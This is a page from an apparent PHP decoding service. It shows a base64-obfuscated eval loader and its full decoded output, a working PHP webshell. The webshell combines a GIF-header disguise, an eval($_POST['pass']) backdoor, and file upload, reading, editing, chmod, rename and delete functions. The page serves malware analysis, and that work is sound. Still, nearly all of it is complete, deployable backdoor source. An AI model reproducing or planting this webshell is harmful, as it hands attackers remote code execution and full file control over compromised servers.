Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>" . base64_decode("Z2lmODlhPD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+Cjw/cGhwC..

Decoded Output download

?>b'gif89a<?php eval($_POST[\'pass\']);?>
<?php
ini_set(\'display_errors\',\'On\');
error_reporting(E_ALL);
set_time_limit(0);
error_reporting(0);

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
echo \'<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Webshell</title>
<style>
body{
    font-family: "Racing Sans One", cursive;
    background-color: #e6e6e6;
    text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}
#content .first{
    background-color: silver;
}
#content .first:hover{
    background-color: silver;
    text-shadow:0px 0px 1px #757575;
}
table{
    border: 1px #000000 dotted;
}
H1{
    font-family: "Rye", cursive;
}
a{
    color: #000;
    text-decoration: none;
}
a:hover{
    color: #fff;
    text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</HEAD>
<BODY>
<center>
<tr><td>Current Path : \';
if(isset($_GET[\'path\'])){
    $path = $_GET[\'path\'];   
}else{
    $path = getcwd();
}
$path = str_replace(\'\\',\'/\',$path);
$paths = explode(\'/\',$path);

foreach($paths as $id=>$pat){
    if($pat == \'\' && $id == 0){
        $a = true;
        echo \'<a href="?path=/">/</a>\';
        continue;
    }
    if($pat == \'\') continue;
    echo \'<a href="?path=\';
    for($i=0;$i<=$id;$i++){
        echo "$paths[$i]";
        if($i != $id) echo "/";
    }
    echo \'">\'.$pat.\'</a>/\';
}
echo \'</td></tr><tr><td>\';
if(isset($_FILES[\'file\'])){
    if(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){
        echo \'<font color="green">File Upload Done.</font><br />\';
    }else{
        echo \'<font color="red">File Upload Error.</font><br />\';
    }
}
echo \'<b><br><br>\'.php_uname().\'<br></b><br>\';
echo \'<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>\';
if(isset($_GET[\'filesrc\'])){
    echo "<tr><td>Current File : ";
    echo $_GET[\'filesrc\'];
    echo \'</tr></td></table><br />\';
    echo(\'<pre>\'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</pre>\');
}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){
    echo \'</table><br /><center>\'.$_POST[\'path\'].\'<br /><br />\';
    if($_POST[\'opt\'] == \'chmod\'){
        if(isset($_POST[\'perm\'])){
            if(chmod($_POST[\'path\'],$_POST[\'perm\'])){
                echo \'<font color="green">Change Permission Done.</font><br />\';
            }else{
                echo \'<font color="red">Change Permission Error.</font><br />\';
            }
        }
        echo \'<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />
        <input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>\';
    }elseif($_POST[\'opt\'] == \'rename\'){
        if(isset($_POST[\'newname\'])){
            if(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){
                echo \'<font color="green">Change Name Done.</font><br />\';
            }else{
                echo \'<font color="red">Change Name Error.</font><br />\';
            }
            $_POST[\'name\'] = $_POST[\'newname\'];
        }
        echo \'<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="\'.$_POST[\'name\'].\'" />
        <input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>\';
    }elseif($_POST[\'opt\'] == \'edit\'){
        if(isset($_POST[\'src\'])){
            $fp = fopen($_POST[\'path\'],\'w\');
            if(fwrite($fp,$_POST[\'src\'])){
                echo \'<font color="green">Edit File Done.</font><br />\';
            }else{
                echo \'<font color="red">Edit File Error.</font><br />\';
            }
            fclose($fp);
        }
        echo \'<form method="POST">
        <textarea cols=80 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />
        <input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>\';
    }
    echo \'</center>\';
}else{
    echo \'</table><br /><center>\';
    if(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){
        if($_POST[\'type\'] == \'dir\'){
            if(rmdir($_POST[\'path\'])){
                echo \'<font color="green">Delete Dir Done.</font><br />\';
            }else{
                echo \'<font color="red">Delete Dir Error.</font><br />\';
            }
        }elseif($_POST[\'type\'] == \'file\'){
            if(unlink($_POST[\'path\'])){
                echo \'<font color="green">Delete File Done.</font><br />\';
            }else{
                echo \'<font color="red">Delete File Error.</font><br />\';
            }
        }
    }
    echo \'</center>\';
    $scandir = scandir($path);
    echo \'<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr>\';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;
        echo "<tr>
        <td><a href=\"?path=$path/$dir\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo \'<font color="green">\';
        elseif(!is_readable("$path/$dir")) echo \'<font color="red">\';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';
        
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).\' MB\';
        }else{
            $size = $size.\' KB\';
        }

        echo "<tr>
        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo \'<font color="green">\';
        elseif(!is_readable("$path/$file")) echo \'<font color="red">\';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo \'</table>
    </div>\';
}
echo \'<br />
</BODY>
</HTML>\';
function perms($file){
    $perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = \'p\';
} else {
    // Unknown
    $info = \'u\';
}

// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? \'s\' : \'x\' ) :
            (($perms & 0x0800) ? \'S\' : \'-\'));

// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? \'s\' : \'x\' ) :
            (($perms & 0x0400) ? \'S\' : \'-\'));

// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? \'t\' : \'x\' ) :
            (($perms & 0x0200) ? \'T\' : \'-\'));

    return $info;
}
?>'

Did this file decode correctly?

Original Code

<?php eval("?>" . base64_decode("Z2lmODlhPD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+Cjw/cGhwCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywnT24nKTsKZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsKc2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKICAgICAgICAkX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsKICAgIH0KfQplY2hvICc8IURPQ1RZUEUgSFRNTD4KPEhUTUw+CjxIRUFEPgo8bGluayBocmVmPSIiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8dGl0bGU+V2Vic2hlbGw8L3RpdGxlPgo8c3R5bGU+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xlIiAvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIiAvPgo8L2Zvcm0+CjwvdGQ+PC90cj4nOwppZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7CiAgICBlY2hvICI8dHI+PHRkPkN1cnJlbnQgRmlsZSA6ICI7CiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICBlY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOwogICAgZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpewogICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CiAgICBpZigkX1BPU1RbJ29wdCddID09ICdjaG1vZCcpewogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBQZXJtaXNzaW9uIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICBQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcH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C9jZW50ZXI+JzsKfWVsc2V7CiAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSA9PSAnZGVsZXRlJyl7CiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2RpcicpewogICAgICAgICAgICBpZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRGlyIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIERpciBFcnJvci48L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgfQogICAgICAgIH1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKICAgICAgICAgICAgaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBGaWxlIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgIGVjaG8gJzxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+CiAgICA8dHIgY2xhc3M9ImZpcnN0Ij4KICAgICAgICA8dGQ+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,j,a,b,c,d,e,f,g,h,i,j,a,b,c,d,e,f,g,h,i,j,a,b,c,d,e,f,g,h,i,j,*/ ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 02b9ba379a469fabe9e93e5af674e638
Eval Count 1
Decode Time 96 ms